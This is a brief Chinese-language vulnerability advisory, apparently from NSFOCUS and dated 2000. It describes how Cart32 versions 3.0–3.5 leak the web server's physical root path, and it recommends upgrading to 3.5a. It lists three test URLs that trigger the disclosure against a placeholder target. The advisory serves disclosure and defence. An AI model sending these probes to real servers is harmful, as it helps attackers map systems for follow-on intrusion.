发布日期：2000-11-13
更新日期：2000-11-13

受影响系统：

    McMurtrey/Whitaker & Associates Cart32 3.5
    McMurtrey/Whitaker & Associates Cart32 3.1
    McMurtrey/Whitaker & Associates Cart32 3.0

不受影响系统：

    McMurtrey/Whitaker & Associates Cart32 3.5a

描述：

---

Cart32 是一种Windows平台上的电子商务程序。它存在一个漏洞，通过提交特定的
URL请求将泄漏WWW服务根目录物理路径，这给后续攻击提供了帮助。

<* 来源：sozni (sozni@xato.net)


测试方法：

---

警 告

以下程序(方法)可能带有攻击性，仅供安全研究与教学之用。使用者风险自负！

http://target/cgi-bin/cart32.exe/error
http://target/cgi-bin/c32web.exe/ShowAdminDir
http://target/cgi-bin/c32web.exe/CheckError?error=53

建议：

---

临时解决方案：

NSFOCUS建议您暂时停止使用有问题的版本

厂商补丁：

请尽快升级到Cart32 3.5a


浏览次数：5675
严重程度：0（网友投票）